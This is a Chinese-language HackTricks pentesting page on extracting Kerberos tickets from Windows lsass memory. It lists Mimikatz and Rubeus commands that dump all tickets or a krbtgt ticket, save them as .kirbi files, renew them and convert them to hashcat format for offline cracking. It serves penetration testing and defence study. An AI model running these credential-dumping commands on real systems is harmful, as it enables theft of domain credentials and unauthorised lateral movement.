hacktricks/network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md

3.8 KiB
Raw Blame History

从Windows中获取票据

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS红队专家

支持HackTricks的其他方式

Windows中的票据由lsass本地安全性局子系统服务进程管理和存储负责处理安全策略。要提取这些票据需要与lsass进程进行交互。非管理员用户只能访问自己的票据而管理员有权限提取系统上的所有票据。对于这样的操作通常使用MimikatzRubeus工具,每个工具提供不同的命令和功能。

Mimikatz

Mimikatz是一个多功能工具可以与Windows安全进行交互。它不仅用于提取票据还用于各种其他与安全相关的操作。

# Extracting tickets using Mimikatz
sekurlsa::tickets /export

Rubeus

Rubeus是一种专门用于Kerberos交互和操作的工具。它用于票据提取和处理以及其他与Kerberos相关的活动。

# Dumping all tickets using Rubeus
.\Rubeus dump
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))

# Listing all tickets
.\Rubeus.exe triage

# Dumping a specific ticket by LUID
.\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))

# Renewing a ticket
.\Rubeus.exe renew /ticket:<BASE64_TICKET>

# Converting a ticket to hashcat format for offline cracking
.\Rubeus.exe hash /ticket:<BASE64_TICKET>

在使用这些命令时,请确保将 <BASE64_TICKET><luid> 等占位符替换为实际的 Base64 编码票证和登录 ID。这些工具提供了广泛的功能用于管理票证并与 Windows 的安全机制进行交互。

参考资料

从零开始学习 AWS 黑客技术,成为专家 htARTE (HackTricks AWS Red Team Expert)

支持 HackTricks 的其他方式: